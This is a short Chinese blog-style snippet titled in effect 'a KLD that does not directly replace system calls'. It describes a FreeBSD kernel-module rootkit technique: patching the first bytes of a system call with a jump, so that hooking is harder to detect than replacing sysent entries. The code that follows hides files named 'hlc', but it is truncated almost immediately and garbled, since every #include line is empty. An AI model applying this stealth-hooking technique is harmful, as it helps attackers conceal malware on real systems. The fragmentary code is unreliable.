如果在sysent表里面直接替换系统调用,很容易被发现,我们可以通过改写系统调用的 前面几个字节(jmp 新的系统调用)来达到更好的隐藏效果,而不是直接替换系统调用. 下面的代码就是具体的实现: #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include MALLOC_DEFINE(HLC_DIR,"dir","struct"); #define hidename "hlc" #define hidelength 3 u
不直接替换系统调用的kld
comments powered by Disqus